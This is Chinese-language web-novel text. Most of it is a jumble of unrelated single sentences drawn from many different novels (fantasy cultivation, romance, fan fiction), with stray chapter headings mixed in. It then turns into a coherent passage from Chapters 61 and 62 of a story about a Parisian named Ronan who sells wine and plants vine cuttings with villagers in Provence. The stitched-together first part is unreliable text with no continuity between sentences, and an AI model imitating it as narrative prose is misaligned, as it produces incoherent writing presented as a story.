今天在这里巧遇到朗涟之后,朗涟便就一直跟着她们,也就是他们去哪里,朗涟也便跟到哪里,而流年便一直观察着凌清的脸色。 想着,郁香儿脸又暗沉了许多,她紧紧的拽住自己的手,身体微微颤抖起来,她不敢保证她下一刻会做出什么冲动的事情来。 他心神一动,一道道无比巨大的冰刃便是出现在了他的前方,笼罩了一片无比巨大的空间,随着他的大手一挥,那些冰刃便是咻咻咻地对着叶尘冲了过去。 韩信是军界的神话。历称韩信兵仙神帅,国士无双。韩信排第一位,无可争议。 然则,相较而言,巨龙这等属于西方龙族威能不说,但是种族的数量等却是更加繁琐。 冷老夫人见雨希如此的难过,心中欣慰不已,上前扶住了雨希,语重心长的接着说道。 不过,当下这一击也不是那么容易的,至少泰坦这个时候绝对不可能再把盾牌抽回来去抵挡白马义从那疾风骤雨般的一枪。 楚云梦伸手搂住叶融雪的肩头,美眸眼波流转,道:“倘若有人能够这般在人前对我表白,我想我一定会爱上他!”说完她还特意看了一眼江雨寒,江雨寒仿佛没有听见一般,眼睛死死地盯着蓝海。 丫鬟们见一向待人有礼的杨管家突然发火起来,全部都散开,慌张的去做自己的事。 第56章 永远是孩子 想到这里,石磊接通电话,他还没开口,吴启斌的声音已经传了过来。 黔西,苗疆花谷,这里本来都是本土的苗族居民,但在几天前却迎来了一个不速之客。 萧龙觉得,他想要突破到大罗金仙,若是靠焚决的话,像九龙离火罩这样的宝物,不要一百,也要八十。 他将在黄石城乘坐军方的直升机离开,中途把图纸交到黑色长城,让尽早他们大规模制造意念武器,开发图腾的利用技术。 林飞羽独自对着落地窗发呆,他实在是猜不出来到底是谁要对他动手,他也并未与人积怨如此之深。 在嵩山好好玩了几天,奥利弗才依依不舍的被陈大河拉着踏上返回北金的路程。 李明月在西域古城,按照道理来讲,两个主城之间的玩家是没有办法跨城入会的。 他们在这赤阳城中虽然身份高贵,但这也是因为这里只是荒蛮之地。 潘启明闻言,面色越发阴翳,七家世家虽然一向被称为云贵高原的守护者,但实则暗中竞争激烈,势如水火。 系统故意加粗了七十七号、相互学习、斩杀上限、一千人连斩等等字样,你就是想不注意都难。 E国黑帮的嗜血性格和缄默的地下守则全部都凝结在这些纹身之上。 那两个老东西,脸皮老得跟树皮一样,一把年纪的人了,要颜值没颜值,要实力没实力。 他的视线一直紧紧的望着她,一刻也不想离开,这一次重新想起了以前的一切,他感觉到自己的心态彻底的变了,他依然爱她入骨,却只想跟她细水长流的相守在一起。 说不定她发现莫筠没有资格做他的妻子了,就会不动声色的杀了她。 她想起,十五过后的一段时间内,她不仅有机会化作人形,夜凌渊在那些日子里也会格外虚弱,半个王府都会高度警惕地照看着他,没人会关注自己。 “是!”云少强赶紧打电话给房东,结果得到的消息就是这样的。 何湘后退了半步,右拳轻轻甩动了几下,硬抗伪灵宝,何湘只感觉手臂酸麻,却并未给自己造成什么实质性的伤害。 这个时候,也不知道是谁推波助澜了一把,说是这台戏说的不就是当今圣上和摄政王么? “不给就是不给。”说完,我抱着它就跑开了,留着恶男在后面追。 树灵,我刚知道原来一个树也有灵,不过倒是也不奇怪,就像是某一件物件永久了,都会具有零星一样。 天皇猫不耐烦的神‘色’有些‘波’动,在看见那三人之后,神情之上,似乎是缓和了许多。 视线移到旁边的一扇窗户上,半开的窗户似乎给了凌霄一个灵感,他跟着放弃了敲门进去的念头,来到了窗前,拉开窗户,翻窗跳了进去。 凌枫将银针放回药箱,拿着药泥来到了爱丁公主的身后。他用手掬起一把药泥,往她的香肩上涂抹。他的手指触碰到她的肌肤的时候,她骤然紧张,皮肤上也泛起了一团红斑。 可是自己现在能够发挥出来的实际力量,甚至还不如他们。如果自己以隐形之术进入吸血鬼领地,那么找不到失踪的三个长老还好办,一旦找到了,势必要和里面的吸血鬼发生战斗。 红光毫无遮挡地掠过飞驰着黑箭,一声清脆的“咔嚓”声响起,那枚凝固了天域始祖赤莽半生心血的上古战箭马上一折为二,红光如层层波浪涌起,卷起了断箭,旋动中将它们绞碎成尘,消散在苍茫的大地上。 她抛弃了她所有的一切-----尊贵无比的身份,浓厚的亲情,不顾一切地追随他而去,来到这个完全陌生的空间里,为的是什么? 自从被天帝用袖风送回这片土地后,天宫中人再也沒有践足此地了,天帝遵循着媚儿的遗愿,将这片土地交还给金陵家族的后人,青娥回來后,大彻大悟,日夜忙着撒播树种,开垦荒野。 苾玉将银瓶随手一抛,身子已如离弦之间,飞向那层波光幻变的光幕。 就在主持人说完致辞以后,白露在她爸爸的牵引下被送到了何萧的面前,一路被花童撒下了很多象征着爱情美满的红玫瑰花瓣。 狼王旭听到山狼的提醒,右手忽然再次缓缓的放了下去。嗜血的杀人双眼,从狼影和山狼的身上收回,转身冲向了蓝若歆新居住的木屋。 枪田郁美点点头,相对于今年八十多岁还坐轮椅的年老设计师来说,森谷帝二确实更符合宗拓哉怀疑目标。 “你终于能体会我的痛苦了,我经常能看到、听到,擦东西的时候还有呢。”罗恩激动的回答。 之后,克斯竟然选择潜入海底证明自己的想法,而他根本不会游泳。 进入有求必应屋,围着老鼠的火焰还在,里面的食物也有,但老鼠却没了。 只要在这次漫灌季,拿到荒川的心脏,我们就可以把巨人复活,人族才能真正摆脱被奴役的命运。 蛇怪的身影再次消失,尼克斯没动,他不知道这是汤姆·里德尔的计策还是他真的怕日记被消耗了。 “为什么天台上明明安排了人手,但目标还没出现你就急匆匆的带人支援? 想到这里,所有想要训斥的话,一个字都说不出来了,只能够看着刘子涛耀武扬威的离开。 伏特加举着手枪瞄准一会儿,发现琴酒的确没有取这两人性命想法,觉得一直举着枪有些傻,于是悻悻收了枪。 第57章 实验 两人举动在大街上无疑是瞩目的行为,贞观王朝民风开放热情,街道上热吻不是什么值得观看的事。 这副鬼样子被老太太看见,她不会要哭吧,林瑜认真思考了片刻,还真有这个可能,林瑜开始慌张,活着的时候就最怕老太太哭,现在死了,还是很怕。 陈凡走到阳台上,不过他没有像前面几个保安一样,在身上另外再绑一条尼龙绳,而是试了试尼龙绳的结实度后,便抓住绳子往楼下滑去。 矿洞里面有什么林瑜不知道,但是重要到唐初尧准备亲自来,想必确实是好东西。 只见裴旭然唇线抿直,不知道想到了什么,有些紧张地抱住她,好似生怕她会消失一样。 白无常瞟了两人一眼,没有犹豫,转身便飞向大海,她可不想在这里看别人秀恩爱。 可现在是是特殊时期,学生会是目前学校最高的权力机关,掌握大权。 “轰”地一声,裴旭然只感觉大脑紧绷的弦骤然断裂,全身血液兴奋逆流。 一把将门推开,只需再走一步就能跨出去却被后身的人一把拉住袖子。 他是汉阳大学的大四学生,这是所名校,师资力量雄厚、教学设备完善,最重要的是学弟学妹们好像也很崇拜他。 赵长风,以四场比试全部远远超出众人的成绩,成为此次全城大比的第一人。 “楠楠说得对,你和他已经磨合,剩下的都是甜蜜。哎,今后,我们有吃不完的狗粮了。”许晚晚笑着说。 “血煞宗势力很大,其中有神境顶尖强者坐镇,大概是在中州地区。”见对方沉思,赵长风补充道。 他竖着风衣的衣领,帅得似与日月同辉,简宁看着,心里暗暗的惊艳。 幸好周围不少来宾看不过去,把陈明仁拉开,二美才少挨了几下。 他在最难过的时候,不知所踪,所以,她并不是他最需要的人吗? 赵长风知道她的意思,此时默默的点点头,于此同时,他的脚底也无声无息的出现了一道道涟漪。虽然他对于汶天星很有信心,但是万一出现危险,那么他也绝对不会袖手旁观。 只见这些猩红血气涌出后并没有消散,而是化为了一片血雾,血雾好像是拥有生命般,竟然自行游动,最后将赵长风包裹进去。 这首歌也是Star第一个专辑里,唯一一支靳爵风独唱的歌曲。 “苏丽,我也提前跟你说好,将来得有孩子,孩子我来带。谁也不许插嘴。”吴忠国看着苏丽说道。 几个保镖过来,架着喝的早已一塌糊涂的李猛,然后早有保镖回去把车开了过来,上车到了附近的一家卢新很熟悉,也靠谱的宾馆,卢新也干脆不回去了,和他大伯打个招呼就行了。 逃出之后才发现这头雄狮全身血红,不过那血红色的毛发上却有着一些幽蓝色的水渍,同时那一块皮肤居然呈现出了苍白之色,这是极冷所造成的。 “能告诉我,到底是因为什么,你才知道这么多吗?”知月双眼重新出现了神采。 其实,我将表姐和朵朵安排进公司也是别有用意,现在公司里的人鱼龙混杂,或多或少有来自竞争对手的眼线,所以我这也是为了公司的安全着想。 物资需要考虑,各方面的条件也需要考虑,还有不知传送阵的难点等等,太多复杂的问题需要解决了。 “乾巧先生,我们谈谈如何?”我指了指前面,示意他和我单独谈谈。 其他几个专家,刘清涟走过去,和他们仔细的谈了谈,然后让刘刚带着合同过去。几个专家看到这里虽然是片空白,但是只要有人支持,资金足够,建设一个好学校不是问题。当即都签订了合同。 “你就直接说姓名,单位名就行,我开着录像呢,晚些时候我会给各家媒体去电话询问的。”知月很满意这些人又将目光聚集到自己身上。 如果可以的话,她真的是想永远都这样。但是这样的想法,想一想是没有问题,然而可绝对不能懒惰的坏习惯。 “完全正确。”封凌很欣慰,魏仁武能够推理到如此,已经完全出乎他的意料,甚至可以说让封凌很惊喜。 铭符的符印,刻成后共分形、意、神、虚四个级别,但这几个级别太难达到,能其形,便已经十分难能可贵,一般符师铭符,刻出的符印,都只是“似”而已。 进入火蛇岛这绝对九成死亡代价,可成功就成为青门宗乃至于整个九州大陆传言万世的佳话。 这层原本看不见的波浪就是孤月峰的护山结界阵,对于擅自闯入者将会受到金光禁锢束缚。 如果这个莫忘真的有和皇甫极一战的实力,那么他先前若是出手,绝对就是自己找死。 按理说,儿子处对象当妈的应该高兴才对,但一想儿子欺骗他们又感觉应该生气,还有,莫不是孩子他爸也说中了,儿子这是被包养了?在吃软饭? 冷不防背后一片银灰色棍影浮现,棍风滔天,凶狠无匹,砸向岳子城后脑。 打残朱三十六,这还不够大,接下来,要闹个更大才行,寻找出一个更能引爆全场的目标。 他们要说的事情一旦被羽化王朝的王室知道,那可就影响到他们的整个计划了。 “既然你都认为我是怪物,那么今天我就展现出真容来……”我说完之后大喝了一声,在自己的背后出现了一跳阴阳鱼,外面两条龙围着阴阳鱼旋转了,自己的嘴角露出了两颗金色的尖牙。 天火回收完毕,众人侧目望去,齐齐再惊,和金羿相熟的一干仙家望着那石台之上已从铜人变成红人的金羿则是惊喜参半。 炸药太危险了,他至今还记得几年前她炼药时,将炼丹炉给炸掉后她受的伤有多严重。所以他绝对不能再让悲剧重演。 第58章 学了个寂寞 他看着她有些疲倦的脸,不由得心疼的问道:“英儿,你累了么?”她抬起头望着她,摇了摇头。他如此体贴和心疼的模样,让她心里的感动愈演愈烈。 所以,这个招亲赛,其实一开始就是一个幌子。按照赵阔的原意,办个只有四大家族的人才能够参加的擂台赛就可以了。 幽挲击败猛禽后,他发觉自己除了痛感是真实地,身上的伤痕居然莫名其妙消失,衣服也回归原来的样子。感受到全是的乏力,还有刚才被风球攻击的痛感,幽挲似乎想到什么。 他來了,换下他那绣着九条金龙的明黄龙袍,着一身素白苏锦暗纹的锦袍,白得耀眼,却也那么刺眼。 她沒有说话,亦或许是不知道该说什么,以前都是别人向永宁宫打探皇上的消息,而如今,她却要从别人口中才能知道他的情况,不过尽管如此,她几日來悬着心也稍稍安定了些。 宋端午在桌子下偷偷踢了李鲸弘一眼,撇过去一个意思再明白不过的眼神。 夏海桐也不知道自己为什么会有这样的感慨,或许是经历了困苦和奢侈,反差实在太大了。 风尘老人眉飞‘色’舞地笑道。同时也暗自运起了圣级强者才有的力量。如果紫麟这边动,他一定在第一时间阻止他们。 李彦正在看热闹,忽然感觉有道目光深深地凝视着自己,抬头看去,却是奥克里曼在盯着他看。 宋端午听后立马和周亚夫面面相觑,因为这声音显然不是李响的。 秦锋的一番话,令众人再次皱起了眉头,眼前的情况确实有些麻烦,以目前的情况来看,想要歼灭这个田村大队,确实不太容易。 “姬少侠。”再昊天惊讶的眼神中,洛星宇竟然单膝跪在昊天面前。 在这之后,黑影扑通一声落地,没有任何停顿,又往许潇身上扑过来。 肖成试着调换视角,拍卖会场是6排7列,总共四十二个座位,除了那个伊芙蕾的位置,都已经坐满了人,很多人似乎并不像露出真容,带着斗篷或者面具的人竟然也是占了有三分之一之多。 “是!”刘建国连忙应了一声,随后吩咐一名参谋去传达命令去了。 在手榴弹落地的瞬间,原先还有七十米的蒙古人也冲到了四十米之内,刚好冲进手榴弹仍得到的距离。 天瓜进入神域地界,看到有化魂族魔兽进入,马上一几名神域灵王级巡查围了上来。 后世的时候,尽忠职守的人,因为某些人断章取义被黑,上司保护不力下,不知道寒了多少人心了。 百战界外,黑雾如同被巨兽搅动,泛起惊天波澜,更是朝着四方扩散,居然有要消散的趋势。 “悠然,和大家打一下招呼吧。”沈梦蝶见主持人没有催促自己,就继续和电话那头的人聊了起来。 “死亡骑士,那个骨灰瓮是一个魔法物品,他可以将我的尸体完整的保存下来,并且可以转化能量让我尸体变成炼金物品。它对于我来说至关重要,你不会因为那是你父亲的骨灰瓮而想放弃吧?”克尔苏加德淡淡的问道。 接过马三递过来的‘青花缠枝莲纹蒜头瓶’,捧在手里细细打量一番后,王铮摇了摇头,放了下来。 宣泉坐在他的下首,听着这些盗墓之人的叙述,脸上渐渐露出了愤怒之色。 死亡之翼狠狠的被摔在地上,他难以置信的看着天空,怎么都无法相信自己会被这样击败了。 “有人要绑架我,怎么办,韩哥哥我好怕。”林宛呓带着哭腔的嗓音,加上颤抖着的娇躯,真可谓是我见犹怜。 末世来临,所有人最需要拥有的不是强大的武力值,而是一颗能够直面丧尸的强大心理素质,能够动手保护自己,而不是只知道一味地躲避。 以‘百香园’任务的规模和难度,其后的奖励必然让人心动。王铮如今也期待的很,但可惜的是天不遂人愿。不,应该是神农系统不随他愿,这次的‘牡丹园’任务奖励中没有他最为渴望的东西。 这几个月来,布莱德带着很多三锤矮人的精英们去追查上古之神。通过艾卓帝国的地下城,布莱德终于找到一丝蛛丝马迹,他终于在一个叫雪流平原上到地面。 夏白彦的手有一搭没一搭的敲打着手里的手杖,那手杖就像是专门为了炫耀而打造得一样,上面镶满了钻石。 虽然不清楚这可鲁班球的到底有多贵重,但是赵牧猜测,仅仅是这可鲁班球代表的大师手艺,就至少价值上百万,何况从鲁老随身带着的情况看得出,鲁老肯定很喜欢这个玩具。 后来金鹏提议说放烟花,我也没有多想,就定制了将近一万多的烟花,特么滴,竟然放的是这个,看来金鹏那王八蛋,早就给我算计好了。 第59章 主席先生! 终于,秦劫的双眼大睁,而他的神情,也变得跟上一次一样扭曲起来,内中充满了残忍和暴虐。 身上被掐了一下,七夜感觉力度其实并不重,虽然有身体强悍的原因,但是力度的轻重还是感觉的出来的。 呃,这么说,其余的别人召唤出来的英灵,自己是不是也可以去忽悠一下呢。 “我不是说过么,留在我武盟的成员可以享受三倍的修炼资源,可如果你们当中有人不能留在我武盟呢?”易方促狭的一笑。 而他16岁的礼服,他为她选了一套浅紫色的及地礼服,看上去高贵,典雅,却又带着一抹纯真。 痛苦和愤怒一瞬间也涌上了藏飞羽的心头,他张开嘴巴,发出了一阵痛苦的悲鸣。 眨眼间,这万柄水剑已飞出大半,但冉仲依然应对的游刃有余。蓦的,李闵济又是一指点出。霎时间,这稍显柔弱的水剑便已暗藏杀机。 他这话一说出口,其余还在挑选对手各自战斗的人也都停下了手,纷纷朝着叶漠这边看了过来。他们也想弄清楚叶漠到底有什么意图。 看着秦劫的姿势,封青石惊叹不已,他的这个姿势,完全可以攻守兼备,趋近于完美,浑身上下几乎没有一丁点的破绽可寻。 沈行之听完了她这一番话,脸上的表情已经能够用“精彩”来形容。 这声尖叫就像是压倒骆驼的最后一根稻草一样,让整艘船的士气彻底的崩溃了。 其实以秦烈异自身的防御力,他要不要下品灵器的防具都无所谓。 无数道黑影降落到地面上,黑影消失,战士们一个个躺在了地面上,许多人都已经晕迷了过去,身上元力更是被吞噬一空,没有一定时间修炼,恐怕难以恢复过来。 “那就战吧。”这种情况他已经没什么好装的了,他的实力在大家眼里已经明了,灵台一层到二层之间,但是为了表示对对方的尊重,辰南还是祭出了宝剑。 正走着,叶风心中忽地涌起了一股毛骨悚然的寒意,强烈无比。他身子忽地轻轻前移,将霍一林拉到自己身后。 巴格曼走上前去,从窗户里面像外看去,发现这层楼离地面非常的高,如果一个正常人从这里跳出窗户的话,就可以直接收尸了!窗户外面是幽深的禁林,浓厚的雾气笼罩在森林上面,也基本上杜绝了有目击证人的可能。 但是相对的,弹药少了一些,没门机炮现在只有60发炮弹,几秒钟就能给你打光。 “你说的很有道理,可是我若留下,你怎么会知道我是不是真心的呢?你又怎么会知道,将来我若变强以后,又是否会替你壮大天雪宗,完成你天雪宗统一雪域的夙愿呢?”风不凡讲出了心中的疑问。 一个斜靠着石屋门口的黄衫青年看到姬沫沫跟陈雪儿,忍不住眼睛一亮,凑了上去,嬉皮笑脸地调戏起来。 咔…咬破手指后,双手拍击在水面上的鬼鲛使用了「通灵术·千食鲛」。 饭夏商准备在家里吃,却是在临街的酒楼里叫的饭菜,回家的下人们也不用忙什么,等着大鱼大肉开吃就行。 但见,两柄神剑,其中一柄剑尖垂直朝下,抵住了长孙蓬坤的眉心。 “我去他娘的天尊大人弟子,是又如何?待本统帅杀了他,再杀了你,谁又能知道荆云是被本统帅杀的?”斯巴达罗咒骂过后,双臂猛然二次发力。! 宋少飞怒吼一声,立刻催动真气,一道道阴蛇炎打出,化作一条阴蛇巨蟒,鬼气阴森,嘶吼连连。 就好比是一个富翁和乞丐,在同一家饭店吃饭,让富翁觉得掉价一样。 而侍卫一共又分为三层,分别是上品、中品、下品三个等级的侍卫。 有钱能让王朝军如此低姿态吗?自然是不可能的,毕竟他可是东岭首富,最不缺的就是钱了。 幽冥帝和赵红雪每次只能飞行千米的距离,便不得不停下来休息,就这样断断续续的,秦云他们花了整整半天时间才感到那黑龙城城下。 睡觉前,宁珂先去了青蔷的房间看看,她那会已经醒了,但是还很害怕的样子,躲在被窝里瑟瑟发抖。 这种活的植株异宝,可遇不可求,一向是诸多大宗派以及大教派收罗的目标,一旦得到,就会想方设法地大面积培养,成为宗派之根基。 比起这件事情的震撼,军师惊叹的是夏尘这种年龄说出来这么一番话来的神情,让她无法不相信。 秦玉山刚刚抵达昊天盟的时候,周玉龙和公羊鱼就挑战过。最终的结局可想而知,两人双双落败。 “你可以不用装死了。”这句话,夜神逸并没有让樱玲传达给羽蛇神,而是以人类的语言对着羽蛇神口中的那个逗比说。 第60章 新的营生 不过姜邪实在是不想要看到若幽失望,这一点他自己也有点搞不清楚。 贾老三搓揉下体,咬牙盯着屋门:“这娘们仗着懂些花架子不知好歹,老子是怕打坏了她,处处留有余力,她倒蹬鼻子上脸趁我不备踢我命根,老子今晚非宰了她不可!”说完,抢到赌桌边抽了一把大刀就往屋里冲去。 姜邪表示,以为劳资朱雀血磨炼肉身,又是重力磨炼肉身,都是吃屎的吗? 但洛克仅仅是丧骸白骨位面、火熔山世界两次位面战争,就近乎让这件铠甲损坏。 随着空间湮灭的动静越来越大,北城聚集的人越来越多,城卫军早已来到此地开始维持秩序。 张丽说道:“放心吧,我和陈坤已经闹掰了,即便我现在想回到他身边卧底也已经不可能了”。 一月时间,燕云城竟然基本掌握了各种医理,他所欠缺的不过是实际经验而已。 陈潇这时候则是手掌一挥,顿时一股股玄黄虹光涌现,当场就覆盖了他们这些人的身上,顿时就让他们这些人的气息都变得隐匿起来,好像不存在一般。 就算他在强,也强不过两个同修为,还有一个和元婴八重,差距不怎么大的六老。 说来这个王不伪,也算不上贪官,但却是典型的不作为,任由底下的人胡来,就算是手下的人以权谋私,也是睁一只眼闭一只眼。 这忽然跑出来一个黄毛丫头,敢抢他的生意,破坏这道上的规矩,他是最不满的。 说完,张肃带上人转身就走,让王鑫留下主要是考虑张娅在这里,再让王鑫去外面帮忙他难免分心。 但是,现在不是有颜瑾在吗?有络绎不绝的好吃的东西出现,这东西以后肯定是必须品。 自从耿医生喊江甜叫师傅的时候,他就不得不相信江甜的检测是没有问题的。 毕竟不看僧面看佛面,赵晓燕这件事是办的不地道,但从心而论她也并非真个为了戏耍自己。 不仅仅是商彦有这样的疑问,很多京圈大佬最近都在谈论这个事。 “你方才被钢管砸中后背,都已经吐血了,能行吗?”沈雨彤眼神急切,为他的身体感到担忧。 艾黎在远处观望着这场决斗,虽然已经知道结局,但还是会不免内心紧张。 她心里很清楚,凌天放心里真正爱的人是沈雨彤,但对于凌天放的脾性,她可是很了解。 遇上这样的母后,只记住仇恨,又爱对政事指手画脚,皇上又是大孝子,也难怪皇上得病。 虽然这些年赢寂和京岂一直闹得很僵,但是两人都比较没有原则,谁不抢谁的生意。 如果说,这人进了歌舞厅,是想要搞什么见不得人的交易的话,会不会跟我们丢失的乾坤袋有关? 任菲吓了一跳,她虽然对秦家人都没什么好感,但是也没太大恶意。 更别说,洪承乾成长于宫中,没经历过多少磨难,人生非常浅薄。 “狗子,我刚才早就都看过了,石门周围,空空如也,不像是能够藏得住机关的地方……轰!轰!轰……”三胖子的话音未落,只听,石门里面,再一次传来了一阵诡异的巨响声。 听见熟悉的声音,任菲的表情立马变了,直截了当地挂了电话,拉黑。 面对着贾盛的突然进攻,云轩唇角微微扬起一抹冷笑,手指迅猛探出,不偏不倚,正好夹在了刺过来的刀刃上。 绿苗震惊的眼眶里含着眼泪,看向他的目光充满了不解和怨怼,那眼神中没有恨,却有着不明不白不妥协。 “其实我最想知道的是龙哥是如何单枪匹马干掉强大的叶戈尔,夺得熊城的?”鼓足勇气,提亚公主终于问出了最想问的问题。 笑着笑着,却又哭了……因为他说的这些,他理想的生活……永远只能存在于他的想象中。 那个时候,他正在寻找食物,好填饱肚子。也正是那个时候,问不得很突然地出现在他面前,问他想不想过不用挨饿的生活,想不想过有新衣服穿的生活。 不仅实力已然列于这个世界的巅峰,就连他谋划的事情,也是同样惊天动地。后来的洛亚去了食人岛,这个情报能够瞒住大部分人,但却瞒不住他。 但喇叭声和锣鼓声震耳欲聋,人们根本听不到县长王盛起的声音。 而在西边方向,同样鏖战不休的自由之手,在他们的军大帐里,一位身材高大挺拔的男子,桀骜不驯地望着四周,时不时地看一下手腕的手表。 不对…李云飞的耳朵微微耸动,从风中他隐约察觉,有数道莫名的波动。 李云飞正想问凭什么的时候,那些苍老的声音,直接将其的话打断。 “钟天麟被楚风给杀了?”这个时候,太史家族也第一时间得到了消息。 第61章 农忙 第一次卖,罗南只从弗雷迪那里定了20斤猪肉,在11点30集市结束前全部卖完,收入2872法郎。 粉红酒具体卖出去了多少杯罗南没有计算,但他带来的五瓶酒全部见底了。 20多法郎一瓶的酒,分装卖出去利润至少有3倍。 酒水果然是个暴力行业! 罗南仔细计算了一下,减去各种成本支出,今天的净收入在2000法郎左右。 就像卢卡斯设想的那样,如果每周多参加几次集市,他的收入会相当可观。 但罗南现在没有那么多精力和时间参加集市,因为农忙的季节开始了。 ...... 不知从哪天开始,卢尔马兰村附近的所有田地里都可以见到忙碌的身影。 勤劳些的农夫已经开始修整土地,为一年的生计做准备。 懒惰的农夫也不得不急急忙忙的行动起来,就比如连喝了三个月的特奥...... 罗南买农药回家,路过特奥的葡萄园,发现他才开始修剪葡萄枝。 而罗南脑袋里浅显的农业知识告诉他——这应该是一进冬天就该做的事情。 “你居然这么长了才剪它们?”罗南实在忍不住,停在特奥的葡萄园外认真‘欣赏’起来。 特奥做了一个耸肩的动作: “它们活的还很好,不是吗?” 耸肩是法国人非常爱做的肢体动作。 但在普罗旺斯生活了两个月,罗南发现一个普通的动作,在这里居然能如此的复杂。 一般的耸肩是肩膀迅速抽动一下,可以表达惊讶,疑惑和轻蔑等态度。 一旦普罗旺斯人在耸肩的同时扬起眉毛,那么他的言外之意是——这还看不出来吗,你这个白痴! 若是他们在耸肩的同时,还两手一摊,掌心向上,那则代表他们的态度相当迟疑,认为那是上帝才可以决定的事情,与说话者无关。 而刚刚特奥就是第三种情况。 “我猜它们的情况已经不太好了。”罗南把一支胳膊架出车窗,带着笑意说。 “它们一定会茁壮成长的。”特奥举起右手,掌心向下,与手肘齐高,轻轻摇动了几下。 罗南笑的更放肆了。 这是另一个普罗旺斯式动作——代表说话者也不知道答案。 “祝你好运。”罗南把手缩回车里,重新发动汽车。 特奥突然走近了几步: “明天法比安家插葡萄枝。” 法比安是卢尔马兰村的一个农夫。 罗南没明白特奥突然说这件事的原因。 而特奥也会错了意,以为罗南在询问法比安为什么要插葡萄枝,因为他之前是瓜农。 “种瓜既费时又费水,夏天山里的野猪还经常跑来偷吃,去年法比安就损失了将近三分之一的西瓜,政府最近放开了管控力度,批准莫力酿酒合作社可以拥有自己的品牌,大家觉得种葡萄能赚大钱。”特奥靠到罗南的车上,点了一支烟。 卢尔马兰村收获的绝大部分葡萄,会送往距离这里不到五公里的莫力酿酒合作社,而莫力酿酒合作社生产的酒只会在这附近以极低的价格售卖,主要职责是让这些嗜酒如命的普罗旺斯人有酒喝,不是为了赚钱。 而政府批准莫力酿酒合作社拥有自己的品牌,代表它可以向其他区域高价售卖了。 酒卖的贵了,法比安理所当然的认为收葡萄的价格也会随之提高。 特奥讲的很清楚,但罗南还是没明白: “这跟我有什么关系?” 特奥抽了一口烟: “山谷里有一套合作制度,哪家的田地需要重新栽种时,大家就去义务帮忙,你可以选择去也可以不去,现在大家都很忙。” 不过随即他想到什么,又摆了摆手: “算了,你别去了,你也没插过葡萄枝......” 罗南来普罗旺斯后干的都是修剪枝桠、除草和施肥的活,估计这个来自巴黎的小子连葡萄枝都没见过。 怎料罗南期待的把一整个头都伸了出去: “明天几点?” ...... 特奥说农夫们去帮忙的时候会带着自己的妻子,男人们下地干活,女人们准备午饭晚饭。 罗南没有妻子,于是第二天携‘爱子’小黑一起出席。 小黑一下车就在翻好了土的地里撒了一泡尿,向大家宣告——罗南一家来了。 罗 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之所以是猜,是由于皮埃尔是拖拉机最直接的受害者,为了保护自己,他戴上了像养蜂人一样的帽子,还戴上了面罩。 不多时,整片田地被切割成若干长条状区域,这代表可以插葡萄枝了。 田地两侧摞着新鲜的葡萄枝,上端涂着了红色的蜡。 这是罗南第一次见这东西,他拿了一根仔细打量起了。 “没想到你也来了。”皮埃尔站到罗南身后,用下巴指着这些葡萄枝问,“来学习怎么插枝的?” “我知道怎么插,就是没有实践过。”罗南把葡萄枝放下。 皮埃尔摘掉头套: “我们这里是人工插枝,不是机械的。” “我知道。”罗南点点头,特奥昨天跟他说了。 皮埃尔马上露出‘恶作剧’的表情,他拍了拍手,把大家的注意力都吸引过来。 “罗南说他会插葡萄枝!” 法比安从拖拉机上跳下,递了一根中空的钢管给罗南,微笑着说: “试试。” 第62章 来自巴黎的声音 周围的农夫们一副看热闹的表情,大部分脸上挂着和皮埃尔一样恶作剧的坏笑。 唯一和他们有所区别的,是独自站在最远端的亨利,这家伙戴了一顶发黄的‘船长帽’,勉强能看出它的底色是黑和白。 在这个月份里,普罗旺斯大街小巷上随处可见戴着船长帽的人,这是那个年代的‘流行单品’,不过亨利的这顶显然有些年头了。 亨利的小动作不断,着急的不停踱步。 有人用眼神警告,他会短暂的安静几秒,但很快又会焦急的走来走去。 罗南先生被这些该死的家伙耍了! ...... 见罗南一动不动,皮埃尔接过法比安手里的中空钢管,对着空气比划了几下: “会不会用这个东西?” 罗南拨开皮埃尔手里的钢管,瞥了他一眼道: “三岁小孩都会用,把它插进地里谁不会呢?” 他迈步走向放置其他工具的地方: “下一步要做的是量出等距的下枝点,不是这东西。” 谢天谢地,系统知识没有让他在这群普罗旺斯农夫面前丢了面子。 “没错!”亨利大喝一声,终于敢说话了。 他恶狠狠的看了一圈那些恶作剧的人。 伟大的罗南先生把你们的骗局识破了! “你真的懂?”恶作剧告吹,皮埃尔丝毫没有生气,相反的还一脸惊喜。 他之前一直认为罗南不过是个拖拉机开的不错的城里人,没想到罗南真的懂种植! “巴黎的农业节目里会讲那么多知识?”皮埃尔问在地上翻找测量工具的罗南。 罗南曾在某次喝酒的时候说,他的农业知识全部来自于电视。 罗南头都不抬的说: “我从小就爱看电视。” “巴黎也不是一无是处啊——”皮埃尔摸着下巴上的浓密胡子说。 ...... 恶作剧只是个小插曲。 虽然罗南在随后又展现出了他的测量能力,并再次得到大家的认可和震感,但农夫们有一套标准的协作流程,测量的活儿落不到罗南头上,有其他更加重要的任务等待着他。 皮埃尔继续担任开路者的角色,利用测量工具在土地上留下记号。 罗南也明白了皮埃尔为什么是卢尔马兰村最棒的农夫,这家伙打点的速度非常快,两个拿着空心钢管的人跟在他身后轮番打洞,才能勉强跟上他。 拿钢管的两个人身后,是由特奥一个人组成的插枝队伍,他抱着一大捆葡萄枝,打出一个洞就插进去一个。 他身后的不远处,亨利和另一个农夫在田间快速移动着,他们专门负责供应枝藤,要保证特奥手里持续有葡萄枝的存在。 在所有人的最后方,罗南和另外一个年轻的小伙子进行填土工作。 前面的几个工序都可以快,唯有这一步要慢下来,葡萄枝只有筷子那么长,芽点更是比指甲盖还小,动作太快会把它们伤到的。 “别着急,慢慢来。”跟罗南干同一个工序的人叫康奈尔,是一个眸子呈蓝绿色的微胖小伙子。 他跟罗南说,他第一次插葡萄枝的时候也被皮埃尔那群人捉弄过。 很显然,两个人是‘难兄难弟’。 “想快也快不了啊——”罗南勉强空出来一只手挡住太阳,“该死的,我应该戴一些防护工具,三月份就这么热了?” 康奈尔嘿嘿笑了两声: “这里是每年有300天以上日照的普罗旺斯,不是巴黎。” ...... “那小子不像巴黎人。”法比安用下巴指了一个方向。 在经验老道的皮埃尔带领下,打点和插孔的三个人早早的完成了今日份的工作,躲在阴凉的地方抽烟。 “确实不像,我从来没见过这么任劳任怨的巴黎人。”皮埃尔叼着烟说。 来帮忙的所有人都做了相应的防护工作,有的戴了防晒的帽子,有的戴了防烟的自制面罩......而罗南带了只狗。 今天一整天看下来,罗南除了中午吃了近两人量的面包和奶酪这一个值得说道的地方外,其他挑不出任何毛病。 